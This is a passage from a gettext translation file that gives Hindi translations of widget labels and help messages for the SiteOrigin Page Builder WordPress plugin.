msgstr "बाएँ स्लाइड"

#: widgets/widgets/animated-image/animated-image.php:25
msgid "Slide Right"
msgstr "दाएँ स्लाइड"

#: widgets/widgets/button/button.php:6
msgid "Button (PB)"
msgstr "बटन (पीबी)"

#: widgets/widgets/button/button.php:15 widgets/widgets/list/list.php:19
#: widgets/widgets/testimonial/testimonial.php:27
msgid "Text"
msgstr "टेक्स्ट"

#: widgets/widgets/button/button.php:23
#: widgets/widgets/call-to-action/call-to-action.php:31
#: widgets/widgets/price-box/price-box.php:44
#: widgets/widgets/testimonial/testimonial.php:36
msgid "Open In New Window"
msgstr "नयी विंडो में खोलें"

#: widgets/widgets/button/button.php:27
msgid "Button Alignment"
msgstr "बटन अलाइनमेंट"

#: widgets/widgets/button/button.php:29
msgid "Left"
msgstr "बाएँ"

#: widgets/widgets/button/button.php:30
msgid "Right"
msgstr "दाएँ"

#: widgets/widgets/button/button.php:31
msgid "Center"
msgstr "मध्य"

#: widgets/widgets/button/button.php:32
msgid "Justify"
msgstr "जस्टिफाई"

#: widgets/widgets/call-to-action/call-to-action.php:6
msgid "Call To Action (PB)"
msgstr "कॉल टू एक्शन (पीबी)"

#: widgets/widgets/call-to-action/call-to-action.php:8
msgid "A Call to Action block"
msgstr "कॉल टू एक्शन ब्लॉक"

#: widgets/widgets/call-to-action/call-to-action.php:19
msgid "Sub Title"
msgstr "उप शीर्षक"

#: widgets/widgets/call-to-action/call-to-action.php:23
#: widgets/widgets/price-box/price-box.php:36
msgid "Button Text"
msgstr "बटन टेक्स्ट"

#: widgets/widgets/call-to-action/call-to-action.php:27
#: widgets/widgets/price-box/price-box.php:40
msgid "Button URL"
msgstr "बटन यूआरएल"

#: widgets/widgets/call-to-action/call-to-action.php:37
#: widgets/widgets/price-box/price-box.php:49
msgid "Button"
msgstr "बटन"

#: widgets/widgets/list/list.php:6
msgid "List (PB)"
msgstr "सूची (पीबी)"

#: widgets/widgets/list/list.php:8 widgets/widgets/price-box/price-box.php:8
msgid "Displays a bullet list of elements"
msgstr "एलिमेंट्स की बुलेट सूची दिखाता है"

#: widgets/widgets/list/list.php:20 widgets/widgets/price-box/price-box.php:32
msgid "Start each new point with an asterisk (*)"
msgstr "हरेक नये बिंदु को एक सितारे (*) से शुरू करें"

#: widgets/widgets/price-box/price-box.php:6
msgid "Price Box (PB)"
msgstr "मूल्य बॉक्स (पीबी)"

#: widgets/widgets/price-box/price-box.php:19
msgid "Price"
msgstr "मूल्य"

#: widgets/widgets/price-box/price-box.php:23
msgid "Per"
msgstr "प्रति"

#: widgets/widgets/price-box/price-box.php:27
msgid "Information Text"
msgstr "जानकारी टेक्स्ट"

#: widgets/widgets/price-box/price-box.php:31
msgid "Features Text"
msgstr "सुविधाएँ टेक्स्ट"

#: widgets/widgets/price-box/price-box.php:50
msgid "Feature List"
msgstr "सुविधा सूची"

#: widgets/widgets/testimonial/testimonial.php:6
msgid "Testimonial (PB)"
msgstr "प्रमाणक (पीबी)"

#: widgets/widgets/testimonial/testimonial.php:19
msgid "Location"
msgstr "लोकेशन"

#: widgets/widgets/testimonial/testimonial.php:23
msgid "Image"
msgstr "छवि"

#: widgets/widgets/testimonial/testimonial.php:32
msgid "URL"
msgstr "यूआरएल"

#: siteorigin-panels.php:1254
msgid "The widget 1{%1$s} is not available. Please try locate and install the missing plugin. Post on the 2{support forums} if you need help."
msgstr "विजेट 1{%1$s} उपलब्ध नहीं है। कृपया गुम प्लगइन को खोजने और इंस्टाल करने का प्रयास करें। अगर आपको मदद चाहिए तो 2{support forums} पर पोस्ट करें।"

#: tpl/js-templates.php:64
msgid "Add a 1{widget}, 2{row} or 3{prebuilt layout} to get started. Read our 4{documentation} if you need help."
msgstr "शुरू करने के लिए 1{widget}, 2{row} या 3{prebuilt layout} जोड़ें। अगर आपको मदद चाहिए तो हमारे 4{documentation} पढ़ें।"

#: widgets/basic.php:15
msgid "A complete SiteOrigin Page Builder layout as a widget."
msgstr "विजेट के रूप में एक पूर्ण साइटऑरिजिन पेज बिल्डर लेआउट।"

#: widgets/widgets/testimonial/testimonial.php:8
msgid "Displays a bullet list of points"
msgstr "बिन्दुओं की एक बुलेट सूची दिखाता है"

#: inc/widgets.php:118
msgid "Enable more widgets in the 1{Widgets Bundle settings}."
msgstr "1{Widgets Bundle settings} में और ज्यादा विजेट्स सक्षम करें।"

#: inc/widgets.php:127
msgid "Install the 1{Widgets Bundle} to get extra widgets."
msgstr "अतिरिक्त विजेट्स पाने के लिए 1{Widgets Bundle} इंस्टाल करें।"

#: inc/widgets.php:140
msgid "You can enable the legacy (PB) widgets in the 1{Page Builder settings}."
msgstr "आप 1{Page Builder settings} में लिगेसी (पीबी) विजेट्स सक्षम कर सकते हैं।"

#: siteorigin-panels.php:1231
msgid "You need to install 1{%1$s} to use the widget 2{%2$s}."
msgstr "विजेट 2{%2$s} उपयोग करने के लिए आपको 1{%1$s} इंस्टाल करना जरूरी है।"

#: settings/tpl/help.php:6
msgid "Please read the 1{settings guide} of the Page Builder documentation for help."
msgstr "मदद के लिए कृपया पेज बिल्डर प्रलेखन का 1{settings guide} पढ़ें।"

#: tpl/admin-home-page.php:29
msgid "Home page updated. 1{View page}."
msgstr "होम पेज अपडेट किया गया। 1{View page}।"

#: widgets/basic.php:469 widgets/widgets.php:629
msgid "Additional query arguments. See 1{query_posts}."
msgstr "अतिरिक्त क्वेरी आर्गुमेंट। देखें 1{query_posts}।"

#: tpl/help.php:18
msgid "Read the 1{full documentation} on SiteOrigin. Ask a question on our 2{support forum} if you need help and sign up to 3{our newsletter} to stay up to date with future developments."
msgstr "SiteOrigin पर 1{full documentation} पढ़ें। आपको मदद चाहिए तो हमारे 2{support forum} पर प्रश्न पूछें और भविष्य की योजनाओं से अपडेट रहने के लिए 3{our newsletter} साइन अप करें।"

#: tpl/js-templates.php:302
msgid "1{Set row layout}: %1$s columns with a ratio of %2$s going from %3$s"
msgstr "1{Set row layout}: %3$s जाते %2$s के अनुपात के साथ %1$s कॉलम"

Anon7 - 2021